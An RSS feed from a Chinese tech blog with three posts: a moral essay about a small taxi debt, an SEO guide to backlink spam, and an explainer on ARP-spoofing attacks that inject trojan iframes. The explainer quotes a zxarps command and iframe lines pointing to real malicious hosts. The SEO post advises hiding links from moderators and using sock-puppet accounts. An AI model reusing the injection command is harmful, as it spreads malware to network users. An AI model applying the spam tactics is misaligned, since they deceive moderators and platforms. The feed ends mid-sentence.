<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/">
<channel>
	<title>雪狼领地</title>
	<link>http://blog.0734link.com/</link>
	<language>zh-CN</language>
	<webMaster>329084470@qq.com(ceiling)</webMaster>
	<pubDate>Wed, 24 Jun 2009 02:31:06 GMT</pubDate>
	<copyright>Copyright 2007-2009. All rights reserved.</copyright>
	<generator>Bitrac Free Version</generator>
	<description>雪狼领地—技术成就梦想！ 男儿不展风云志，空负天生八尺躯</description>
	<image>
		<title>雪狼领地</title>
		<url>http://blog.0734link.com/Client/Banner.gif</url>
		<link>http://blog.0734link.com/</link>
		<description>雪狼领地—技术成就梦想！ 男儿不展风云志，空负天生八尺躯</description>
	</image>
	<item>
		<link>http://blog.0734link.com/Article/671.aspx</link>
		<title>我有没有欠你五块钱</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>人生哲学</category>
		<pubDate>Fri, 04 Mar 2011 06:29:21 GMT</pubDate>
		<description>&lt;div style=&quot;font-size: 14px&quot; id=&quot;blogDetailDiv&quot;&gt;&lt;p&gt;有一位影剧界的朋友告诉我一个生活小插曲&lt;/p&gt;&lt;p&gt;某次录影她打无线电计程车回家，&lt;/p&gt;&lt;p&gt;下车时计费表上显示的是一百八十元，&lt;/p&gt;&lt;p&gt;她拿出两百元给司机，&lt;br /&gt;&lt;br /&gt;司机默默的收了。&lt;/p&gt;&lt;p&gt;以台北市的计费标准，&lt;/p&gt;&lt;p&gt;表上加十五元等於车费，&lt;/p&gt;&lt;p&gt;她稍微等了一下，&lt;/p&gt;&lt;p&gt;以为司机会找五元给她，&lt;/p&gt;&lt;p&gt;但司机一点动静也没有，&lt;/p&gt;&lt;p&gt;她想，算了，才五元嘛，&lt;/p&gt;&lt;p&gt;就拉开车门下车了。&lt;/p&gt;&lt;p&gt;关上车门的那一刹那，&lt;/p&gt;&lt;p&gt;她才恍然想起自己是叫无线电车的，&lt;/p&gt;&lt;p&gt;按规矩需再加叫车费十元，&lt;/p&gt;&lt;p&gt;是她还欠司机五元才对。&lt;/p&gt;&lt;p&gt;於是她又敲敲前车窗，&lt;/p&gt;&lt;p&gt;赶紧把五元再递给司机。&lt;/p&gt;&lt;p&gt;司机冷冷的摇下前车窗来，&lt;/p&gt;&lt;p&gt;说：「哼，亏你想到了，&lt;/p&gt;&lt;p&gt;不然我还以为，&lt;/p&gt;&lt;p&gt;连你这样一个名人，也想贪我五块钱的~~小便宜！」&lt;/p&gt;&lt;p&gt;虽然误会是化解了，&lt;/p&gt;&lt;p&gt;但我这个朋友心里老大不舒服，&lt;/p&gt;&lt;p&gt;她说：「他为什麽不直接告诉我，我少给了他五元呢？」&lt;/p&gt;&lt;p&gt;在日常生活中微不足道的五元，&lt;/p&gt;&lt;p&gt;在这给了我们一个启示：&lt;/p&gt;&lt;p&gt;是不是有些时候，&lt;/p&gt;&lt;p&gt;我们像那个司机一样，&lt;/p&gt;&lt;p&gt;无声的在忍耐着某个人的作为，&lt;/p&gt;&lt;p&gt;而事实上，&lt;/p&gt;&lt;p&gt;我们的沈默反而误解那个无辜的人，&lt;/p&gt;&lt;p&gt;让他根本不知道哪里得罪了你？&lt;/p&gt;&lt;p&gt;你心里因为这样不舒服，&lt;/p&gt;&lt;p&gt;他的名誉也因而受损。&lt;/p&gt;&lt;p&gt;为什麽你不说出口呢？&lt;/p&gt;&lt;p&gt;很多类似这种「五块钱」的问题&lt;/p&gt;&lt;p&gt;影响了我们的朋友情谊、爱情品质、人际关系，&lt;/p&gt;&lt;p&gt;甚至人的情感&lt;/p&gt;&lt;p&gt;婆嫌媳妇洗的碗不乾净，&lt;/p&gt;&lt;p&gt;怕变成坏婆婆，隐忍不说，&lt;/p&gt;&lt;p&gt;自行把媳妇洗过的碗再洗一遍──&lt;/p&gt;&lt;p&gt;媳妇当然老大不高兴。&lt;/p&gt;&lt;p&gt;觉得媳妇的菜不顺口，&lt;/p&gt;&lt;p&gt;硬把每餐揽来自己弄，&lt;/p&gt;&lt;p&gt;背地里又感到自己好委屈。&lt;/p&gt;&lt;p&gt;办公室亦然，&lt;/p&gt;&lt;p&gt;你虽然喜欢助人，&lt;/p&gt;&lt;p&gt;但因别人搞不清楚你「助人」的尺度为何，&lt;/p&gt;&lt;p&gt;常做出你认为过份的要求，&lt;/p&gt;&lt;p&gt;你默默做了，&lt;/p&gt;&lt;p&gt;却咬牙切齿在心里，&lt;/p&gt;&lt;p&gt;在别的同事面前对他表示不屑，&lt;/p&gt;&lt;p&gt;也是常有的办公室情事。&lt;/p&gt;&lt;p&gt;忍，不一定都是美德。&lt;/p&gt;&lt;p&gt;除非你忍了就忘了，&lt;/p&gt;&lt;p&gt;但有几人能够呢？&lt;/p&gt;&lt;p&gt;我们想认亏了事，&lt;/p&gt;&lt;p&gt;不愿表达自己的看法，&lt;/p&gt;&lt;p&gt;但在无意间，&lt;/p&gt;&lt;p&gt;我们却以成见，&lt;/p&gt;&lt;p&gt;伤害了彼此的关系，&lt;/p&gt;&lt;p&gt;或无辜者的名誉!。&lt;/p&gt;&lt;p&gt;「不知者无罪」，&lt;/p&gt;&lt;p&gt;如果对方并不知道他哪里得罪你，&lt;/p&gt;&lt;p&gt;你的忍耐，&lt;/p&gt;&lt;p&gt;只会造成他受损而已。&lt;/p&gt;&lt;p&gt;忍耐人的时候，&lt;/p&gt;&lt;p&gt;脸色通常很难好看，&lt;/p&gt;&lt;p&gt;如果你忍耐的对象是自己很亲密的人，&lt;/p&gt;&lt;p&gt;他的情绪和你们的关系，一定受损得更厉害！！&lt;/p&gt;&lt;p&gt;有话不妨直说吧！我有没有欠大家五块钱。&lt;/p&gt;&lt;/div&gt;</description>
		<guid>http://blog.0734link.com/Article/671.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/671/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/671.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/671/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://blog.0734link.com/Article/670.aspx</link>
		<title>经验之谈：教你如何发外链</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>SEO优化</category>
		<pubDate>Fri, 04 Mar 2011 02:22:58 GMT</pubDate>
		<description>&lt;p&gt;新站如何发外链，是一个比较头疼的问题，如何最好最有效的发外链，这个问题值得SEO从业者和站长们不断地思考。发链接主要是应对那些删链接的人，自古以来正邪不两立，而在发网站外链的过程中就表现为，发外链与删外链这一邪一正之间的对立，为什么这样说呢?因为发外链大多数时候是发的垃圾文章，就像白色垃圾一样到处污染环境，谁都不想自家门口有大量的垃圾存在，所以就要删连接，而删连接就相当于清理垃圾还我们一个干净的网络。减肥网和大家分享一下发外链的各种方法：&lt;br /&gt;适当购买多类型网站外链&lt;br /&gt;很多站长对于外链第一反应就是友情链接。当然，这也是最持久，最有效的方法。很多站长为了节约成本，与别人交换友情链接，其实这个方法见效很慢。因为大多数友链交换都是平等交换，这样权重对等，可能蜘蛛认为对方还不如你呢。所以我建议少量的投入一些，买友情链接，因为这样是单向链接，并且对方权重大多比你高。效果是换友链的十倍!我的经验是不需要投太大，一个月投入100-200元，批量买几个PR高的外链就好。&lt;br /&gt;当然买外链是无底洞，你不能过一阵以后就不投入了，可能心里不踏实，其实不然，你努力做好优化和外链，没多久你的PR值就会和你卖的单链网站一样高，这时候你就可以和他们对等交换了。而且你也可以向外卖单链哦，一举两得。&lt;br /&gt;接下来就是对方的网站类型，很多站长认为必须要和同类型网站交换友链或者买友链，其实这是一个误区。现在的搜索引擎对于外链来源网站类型，注重的是综合。也就是说，你不能总是同一类型的网站来给你带来外链。这里的建议是友链的部分其中40%是同类型网站，其他60%要遍布到其他各种类型的网站中，类型越杂越好。&lt;br /&gt;暗渡陈仓，偷梁换柱的发外链&lt;br /&gt;除了友情链接之外，就是论坛，以及博客，或者网站投稿方面的了。&lt;br /&gt;1.论坛&lt;br /&gt;(1)选择管理不是很严的论坛发外链&lt;br /&gt;这个主要在于你用心的观察哪些论坛管理不严，一般有些论坛有广告区，基本上有广告区的论坛管的都不那么严，这样的论坛是我们可以放心大胆的发而不怕删除，比如阿里妈妈这样的论坛权重高，不会删锚文连接，是比较理想的发外链的地方。但是有些地方虽然有广告区却要求是同类广告才能通过，对待这样的论坛我们基本上采用把标题改成和他论坛同类的即可。&lt;br /&gt;(2)对要求审核的论坛如何发外链&lt;br /&gt;一般来说我们建设外链都希望找个权重比较高的论坛发连接，而权重比较高质量又比较好的论坛，一般都管的比较严，要通过审核后才能显示，对待这类论坛我们采用偷梁换柱的办法，怎么个换柱法呢？因为管理员一般不会去看源代码而只会看一下内容有没有违法，有没有广告的嫌疑和检测有没有外链，这就给了我们一个缺口，我们可以把我们的文章伪装成正常的文章，再在文章中偷偷藏上我们的链接锚文，而这个隐藏有几种技巧我分别举例来说。&lt;br /&gt;比如我常去新浪网发贴，那里审核比较严，虽然你开始可以发，但是过不了多久你再去看你的贴子没了，你的外链也就掉了，所以我们在发外链的时候需要处理一下把文章和外链关键字充分融合，比如我经常发的去痘印的主题，那么我会去其他比较出名的大网站复制他们的去痘印文章然后发贴，把关键字链接的颜色改成黑色即可。&lt;br /&gt;(3)论坛签名和发贴量控制&lt;br /&gt;我的注会之家就是通过论坛的签名档来提高我网站的权重的，我在中华会计网校论坛的签名档里放上注会之家关键字超链接，由于我是版主，每天都有数量相当的回贴，给我的网站带来了很高的权重，现在PR值也已经升到了3.&lt;br /&gt;这里需要注意的是发帖量的控制，我建议准备10个左右这样的权重高的论坛，其中可以有三四个同类型的。每天这个ID发贴的数量一定要相当，每个论坛每个ID带来一两个外链就足够。因为这个很难控制，如果你用这个ID，见贴就顶，很可能每天给你带来的外链太多，而且数量不定，造成搜索引擎给你的网站降权。&lt;br /&gt;2.知道、贴吧、问问发外链&lt;br /&gt;现在很多网站都爱放一个类似于百度知道的程序，一般的那类网站管的不是很严，可以随便发外链地址，但是唯一的缺陷就是你提问题的时候不能加锚文本。那么怎么解决呢？经过我的观察发现一般回答的时候可以加锚文，那么我们注册2个账号，一个账号专门提问题，另一个账号马上回答那个问题，然后加上外链，这样带锚文的外链也就有了。&lt;br /&gt;百度知道和百度贴吧管理得比较严，但是也有办法。百度知道我们可以去提问题，虽然不可以加关键字链接，但是可以直接输入网址，这样也可以吸引蜘蛛，对于新站的收录还是有帮助的；百度贴吧可以这样发链接：首先是去百度搜索自己的域名，然后将地址栏的地址复制下来，类似：&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.baidu.com/s?wd=www.geekseo.net&lt;/font&gt;&lt;/u&gt;，然后随便找个贴吧的贴子跟贴，带上这个链接，每天发10-20个这样的贴子，被删的几率会小很多，这主要的目的还是吸引收录。&lt;br /&gt;另外，推荐百度贴吧和soso问问者两个平台，它们不需要审核就可以直接发出来，节约了不少时间。关于百度贴吧和搜搜问问我建议只找同类型的圈子里发贴，比如我的网站是数码相机排行榜，我就可以去百度的数码相机吧，摄影吧或者同类型的贴吧来做外链；汽车用品类的就可以在汽车改装，汽车配件，或者各种品牌汽车的车友会贴吧里做，而且做外链也是有学问的，你不能上来就发广告，这样会引起别人反感。你可以试着找到别人的求助或者作业，然后把自己网站发的原创里已经被搜索引擎收录的文章贴出来，后面带上你的链接，这样可以带来很多流量。&lt;br /&gt;3.网站投稿&lt;br /&gt;每天一篇软文发表在A5上，并且要注重软文质量，这样会给你带来源源不断的外链，也会让你在一个月后收到意想不到的效果。&lt;br /&gt;4.博客&lt;br /&gt;养三四个博客，或者认识几个权重高的博客的博主，在他们博客里做友情链接，然后把你在A5发表的文章COPY过来一份发在自己博客上，我建议是类似于博客园这样每篇文章都会上首页的博客来做。&lt;br /&gt;终极必杀技&lt;br /&gt;最后就是我的终极必杀了！在你的外链和收录都稳定以后，就开始使用这个终极必杀，那就是找到同类型里头排名很好的站点，然后去查他们的外链，他们在哪里做外链，你就在哪里做！比如他在论坛上发表一篇软文文章，你就可以回贴同意他说的话，用你的网站域名补充他所说的，具体等往后有机会再详细讲解。这样最大程度解决了你不知道在哪里做外链这个头痛的问题。希望我写的对新丁站长有所帮助，欢迎一起讨论共同提高！&lt;br /&gt;&lt;/p&gt;</description>
		<guid>http://blog.0734link.com/Article/670.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/670/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/670.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/670/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://blog.0734link.com/Article/669.aspx</link>
		<title>arp欺骗,网页被挂马怎么办 网站网页全被放了木马但打开文件发现却没被改动过</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>服务器管理</category>
		<pubDate>Thu, 03 Mar 2011 10:02:50 GMT</pubDate>
		<description>&lt;p&gt;　　网站网页全被放了木马但打开文件发现却没被改动过&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 我今天上我的网站发现，所有页面都被加了木马，代码是在页头加了&amp;lt;iframe src=http://****.com/admin/a.htm width=20 height=0 frameborder=0&amp;gt;&amp;lt;/iframe&amp;gt;，不止这个，服务器上的所有网站都一样，但我上了服务器后却发现网页文件没改动过，里面也没有这行代码，这可怎么处理，想删除都不知道上哪删？急，求助各位高手&lt;/p&gt;&lt;p&gt;【参考分析】&lt;br /&gt;这种情况，一般是因为服务器遭受到arp攻击（arp欺骗）。&lt;/p&gt;&lt;p&gt;饱受ARP攻击和挂马网页自动下载木马之苦的朋友们进来看&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; “木马猛于虎也”，这句话用在现在的网民（包括我这样的老菜鸟）身上真是再贴切不过了，经常发现有程序会自动下载病毒和木马程序，却无可奈何，或者经常遇到ARP攻击也束手无策。不过最近在浏览金山毒霸工作人员铁军的博客时候却有了可喜发现，好东西要分享给大家o(∩_∩)o…，请大家看下面的内容，有些长，但是绝对有效，看完了别忘了顶帖哦o(∩_∩)o&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 下面的内容是在金山毒霸的铁军的blog里面摘抄的，对ARP病毒攻击和Risk.exploit.ani病毒的处理给了很好的解决建议，我转载出来大家参考下：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 最近用户咨询Risk.exploit.ani病毒的问题比较多，该病毒是利用微软MS07-017中的动态光标处理漏洞的畸形ANI文件， 被某些已经挂载木马的网页自动下载。当用户的浏览器打开带有相关恶意代码的网页，将畸形ANI文件下载到本机临时文件夹中时，这时，毒霸的实时防毒和网页监控会进行报警，由于该文件被IE占用，所以某些情况下毒霸是无法立即删除的。但是毒霸已经专门针对此病毒进行了免疫处理，用户即时没有安装相关漏洞补丁，只要启用毒霸监控，也不会中毒。并且，针对这些文件，毒霸还进行了延迟删除处理，在下次重启系统时，这些被锁定的文件会被自动，下载的畸形ANI文件将不起作用，也就不会通过ANI漏洞去下载真正的病毒木马了。&lt;/p&gt;&lt;p&gt;有两种情况，需要注意：&lt;/p&gt;&lt;p&gt;1.对于病毒本身而言，清除是简单的，关闭浏览器，然后清空IE临时文件夹，补丁编号MS07-017 KB912919，详细情况见http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx ，如果是本机感染病毒，可以根据日志提取样本。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.局域网其他计算机感染病毒进行会话劫持攻击，最近的咨询也比较多，上面的处理方法就无效了。因为病毒本来不一定在当前这台客户机上。某些病毒或者木马利用ARP欺骗等手段，在用户收到的网络数据包中自动插入i-frame-X代码，代码指向利用MS07-017漏洞的网址。使得中毒用户，以及局域网中受到此中毒电脑的欺骗攻击的用户，在上任意网站的时候都会提示存在该病毒。通俗点说，就是局域网某个计算机感染病毒或者木马，该病毒发送arp欺骗，然后在所有的网页访问的tcp数据中插入一段i-frame-X代码，只要网内的计算机通过网关上网，所有的网页都会跳转到i-frame-X制定的网页，该网页是存在畸形ANI文件，所以毒霸会不断的报警。显示的Risk.exploit.ani只不过是一种表现，就像木马下载器和木马，其原理和功能有天壤之别。对于该类情况，也比较容易判断，如果是局域网用户，一般其他的电脑也存在该问题，而且是访问任意网站都会存在该提示。由于不是本机感染病毒，所有对该计算机进行杀毒，扫描提取样本可能都是无效的。用户需要找到的是发送arp欺骗，从而导致出现该现象的机器，这个需要网管抓包来分析，用户个人是无法完成的。当然无论如何，首要解决的是安装补丁。而对于第二种情况，也就是现在局域网中感染ARP 病毒的情况，由于此种现象目前非常普遍，清理和防范都比较困难，给不少的网络管理员造成了很多的困扰。下面就是处理这个病毒的一些参考方法，供大家参考：&lt;/p&gt;&lt;p&gt;ARP 病毒的症状：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 有时候无法正常上网，有时候有好了，包括访问网上邻居也是如此，拷贝文件无法完成，出现错误；局域网内的ARP 包爆增，使用Arp 查询的时候会发现不正常的Mac 地址，或者是错误的Mac 地址对应，还有就是一个Mac 地址对应多个IP 的情况也会有出现。&lt;/p&gt;&lt;p&gt;ARP 攻击的原理：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ARP 欺骗攻击的包一般有以下两个特点，满足之一可视为攻击包报警:第一以太网数据包头的源地址、目标地址和ARP 数据包的协议地址不匹配。或者，ARP数据包的发送和目标地址不在自己网络网卡MAC 数据库内，或者与自己网络MAC 数据库MAC/IP 不匹配。这些统统第一时间报警，查这些数据包(以太网数据包)的源地址(也有可能伪造)，就大致知道那台机器在发起攻击了。现在有网络管理工具比如网络执法官、P2P 终结者也会使用同样的方式来伪装成网关，欺骗客户端对网关的访问，也就是会获取发到网关的流量，从而实现网络流量管理和网络监控等功能，同时也会对网络管理带来潜在的危害，就是可以很容易的获取用户的密码等相关信息。&lt;/p&gt;&lt;p&gt;处理办法：&lt;/p&gt;&lt;p&gt;通用的处理流程：&lt;/p&gt;&lt;p&gt;1 .先保证网络正常运行&lt;/p&gt;&lt;p&gt;方法一：编辑个***.bat 文件内容如下：&lt;/p&gt;&lt;p&gt;arp.exe s&lt;br /&gt;**.**.**.**（网关ip） ****&lt;br /&gt;**&lt;br /&gt;**&lt;br /&gt;**&lt;br /&gt;**（网关mac 地址）&lt;br /&gt;end&lt;/p&gt;&lt;p&gt;让网络用户点击就可以了!&lt;/p&gt;&lt;p&gt;办法二：编辑一个注册表问题，键值如下：&lt;/p&gt;&lt;p&gt;Windows Registry Editor Version 5.00&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;&amp;quot;mac&amp;quot;=&amp;quot;arp s&lt;/p&gt;&lt;p&gt;网关IP 地址网关Mac 地址&amp;quot;&lt;br /&gt;然后保存成Reg 文件以后在每个客户端上点击导入注册表。&lt;/p&gt;&lt;p&gt;2 找到感染ARP 病毒的机器。&lt;/p&gt;&lt;p&gt;a：在电脑上ping 一下网关的IP 地址，然后使用ARP －a 的命令看得到的网关对应的MAC 地址是否与实际情况相符，如不符，可去查找与该MAC 地址对应的电脑。&lt;/p&gt;&lt;p&gt;b：使用抓包工具，分析所得到的ARP 数据报。有些ARP 病毒是会把通往网关的路径指向自己，有些是发出虚假ARP 回应包来混淆网络通信。第一种处理比较容易，第二种处理比较困难，如果杀毒软件不能正确识别病毒的话，往往需要手工查找感染病毒的电脑和手工处理病毒，比较困难。&lt;/p&gt;&lt;p&gt;c：使用mac 地址扫描工具，nbtscan 扫描全网段IP 地址和MAC 地址对应表，有助于判断感染ARP 病毒对应MAC 地址和IP 地址。&lt;/p&gt;&lt;p&gt;预防措施：&lt;/p&gt;&lt;p&gt;1，及时升级客户端的操作系统和应用程式补丁；&lt;br /&gt;2，安装和更新杀毒软件。&lt;br /&gt;4，如果网络规模较少，尽量使用手动指定IP 设置，而不是使用DHCP 来分配IP 地址。&lt;br /&gt;5，如果交换机支持，在交换机上绑定MAC 地址与IP 地址。（不过这个实在不是好主意）&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 还有，使用金山毒霸的朋友要升级病毒库，可以很好的进行防范；此外也可以下载金山专杀工具，进行病毒的扫描查杀，效果也不错，最主要的工具是免费的，呵呵。可以来这里下载相应的工具：&lt;a href=&quot;http://www.0734link.com/&quot; target=&quot;_blank&quot;&gt;http://www.0734link.com/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ps：我不是金山的枪手，但是我愿意去做金山毒霸的宣传者，金山毒霸其实一直在真正为用户着想，去努力，这种精神和态度是值得肯定的。至少看他们的文章和博客还是很让我感动的，呵呵&lt;/p&gt;&lt;p&gt;-----------------------------------------------------&lt;/p&gt;&lt;p&gt;服务器被ARP攻击，网站被挂马&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 今天凌晨一打开自己的网站，卡巴就弹出来说有病毒，报告为“恶意程序 Exploit.Win32.IMG-ANI.k 文件: F:\Documents and Settings\*****\Local Settings\Temporary Internet Files\Content.IE5\DF7VHPOE\love[1].jpg”，然后网页显示的也有问题，最上方居然裸露出来了一小段源码，于是马上查看源码，发现代码居然被改了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 最上面变成了：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;iframe src=&apos;httP://web.21575.com/113/&apos; height=0 width=150&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 我的第一反应就是网站被人挂马了，首先想到的是不是程序有漏洞，被人传了木马，赶紧用FTP连上，检查ASP文件，发现所有的ASP文件都没有是今天修改过的，模板系统也没有问题，这下我真的不知道怎么办了。都搞不清楚问题出在哪里。。。。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 然后我对挂马的这个网站来了兴趣，在百度里一搜“21575”，&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.baidu.com/s?word=domain:21575&amp;amp;ie=gb2312&amp;amp;ct=0&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 发现有一条的结果的标题是“服务器被ARP欺骗，大家请不要访问我的站”，看了一下那条帖子，然后又联想到昨天下午收到了IDC的短信，提醒说最近ARP病毒泛滥，于是我马上就想到应该是受到ARP攻击了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 下午我还去IDC的网站上看了一下，有一篇关于防范ARP攻击的公告，还提供了ARP防范工具下载，赶紧下了，然后安装。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这个软件是ARP防火墙（Anti ARP Sniffer），下载地址：http://www.antiarp.com/newsopen2.asp?ArticleID=24&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 官网：http://www.antiarp.com/&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 刚装上以后ARP防火墙启动不了，于是重启服务器，顺利启动了，然后就看到ARP防火墙提示受到ARP攻击了，还能跟踪到攻击的来源IP。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 装上ARP防火墙以后，再访问网站，一切正常。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MUD，看来ARP攻击才是最高明的攻击方法嘛，MUD&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ARP攻击的先进性就好比DNS劫持一样，处于最上层。网页实际的文件并没有改变，但是发送给浏览器以后就变了样了，被病毒给改了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 相关知识：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ARP即Address Resolution Protocol，将网络IP地址映射至网卡硬件MAC地址的协议。一般危害为欺骗同网段内的其他服务器地址，截获其数据报文、监听数据传输、盗取帐号信息，甚至对来访数据包进行欺骗和伪造。该病毒发作方式为：网段内一台服务器中此病毒，病毒将以此机器作为肉鸡，对同网段服务器进行数据劫持和欺骗。类似于夺取同段内的其他服务器的IP，导致合法服务器无法正常通讯。此病毒还可对网关地址进行欺骗，造成此网段所有IP地址都无法正常解析。以致网络大面积瘫痪。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 我这次的情形就是上面说的“对来访数据包进行欺骗和伪造”、“对同网段服务器进行数据劫持和欺骗”，ARP防火墙查到了攻击源，是同网段内的一台机子，我看了一下那台机子，居然是用IIS的默认站点建的站（可以直接用IP访问），估计系统漏洞不少，被人攻击中毒了，然后连累到我们同网段内的其他无辜的用户。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 安全很重要！尤其是在最近病毒木马泛滥的日子里。&lt;/p&gt;&lt;p&gt;-------------------------------------------------------&lt;/p&gt;&lt;p&gt;ARP攻击，恶意代码写入网络数据包&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 之前我们发表过一篇日志小心恶意网址a.d3a.us，今天上午发布了其中病毒的解决方案，下午的时候我们发现在这个病毒下载的其它恶意程序里有使用ARP欺骗方式“挂马”的恶意程序。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 利用的工具是zxarps，Build 01/17/2007 By LZX（还挺新的，要尽早扼制才行）。病毒一边不断地清ARP表（arp.exe -d），一边向指定IP段指定端口发送攻击命令：&lt;br /&gt;zxarps -idx 0 -ip xxx.xxx.xxx.xxx-xxx.xxx.xxx.xxx -reset&lt;br /&gt;zxarps -idx 0 -ip xxx.xxx.xxx.xxx-xxx.xxx.xxx.xxx -port 80 -insert &amp;quot;&amp;lt;iframe src=http://a.d3a.us/1/ width=0 height=0 frameborder=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;quot;&lt;br /&gt;欺骗指定IP段内的客户端，插入恶意代码到数据包中，然后返回给被欺骗客户端，客户端浏览网页时感觉就像网站被挂马一样。如果被这ARP欺骗攻击导致局域网内多台机器都中了这个东西，想象这个局域网会乱到什么程度，清除起来也不会很方便了吧。&lt;/p&gt;&lt;p&gt;附一点说明：&lt;br /&gt;引用&lt;br /&gt;&amp;nbsp; -idx [index]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 网卡索引号&lt;br /&gt;&amp;nbsp; -ip [ip]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 欺骗的IP,用&apos;-&apos;指定范围,&apos;,&apos;隔开&lt;br /&gt;&amp;nbsp; -port [port]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 关注的端口,用&apos;-&apos;指定范围,&apos;,&apos;隔开,没指定默认关注所有端口&lt;br /&gt;&amp;nbsp; -reset&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 恢复目标机的ARP表&lt;br /&gt;&amp;nbsp; -insert [html code]&amp;nbsp; 指定要插入html代码&lt;br /&gt;“挂马”的方式方法越来越多，继修改网页文件流行后，这种“ARP挂马”也跃跃欲试，局域网啊&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 而且而且，现在的病毒和木马群分工越发明确，比如某邮件蠕虫，附在邮件附件里的是downloader，down下来的有专门负责发送邮件的、有专门负责收集地址的、有专门检查自己更新的、还有专门进行DDoS的；木马群也是这样，一个恶意网站down一个木马，它再down一堆其它木马，有盗Q的、有盗网游的、有专门发尾巴的，还有专杀反病毒软件清道的，还有还有……专门负责广告推广的！唉，互联网啊&lt;/p&gt;&lt;p&gt;-----------------------------------------------------&lt;/p&gt;&lt;p&gt;又见 ARP 攻击会话劫持挂马的黑客程序&lt;/p&gt;&lt;p&gt;&lt;br /&gt;病毒详细信息&lt;br /&gt;病毒全名 Win32.Hack.ArpSpoon.h&lt;br /&gt;病毒长度 26112&lt;br /&gt;威胁级别 ★★&lt;br /&gt;病毒类型 黑客程序&lt;/p&gt;&lt;p&gt;病毒简介&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这是一个ARP欺骗病毒，它能向同网段所有计算机发送ARP欺骗数据包，挟持了该网段内的网关，使经过网关的每个数据包都经过受病毒感染的计算机，该计算机会寻找HTTP响应包，在包内加入挂马的代码。&lt;/p&gt;&lt;p&gt;技术细节&lt;br /&gt;1、ARP欺骗&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 病毒会枚举本计算机所在的网段，并发送经过伪造的ARP(Address Resolution Protocol)数据包，挟持了本网段的网关地址，使本网段的所有的数据包都经过该计算机。&lt;br /&gt;2、修改特定数据包&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 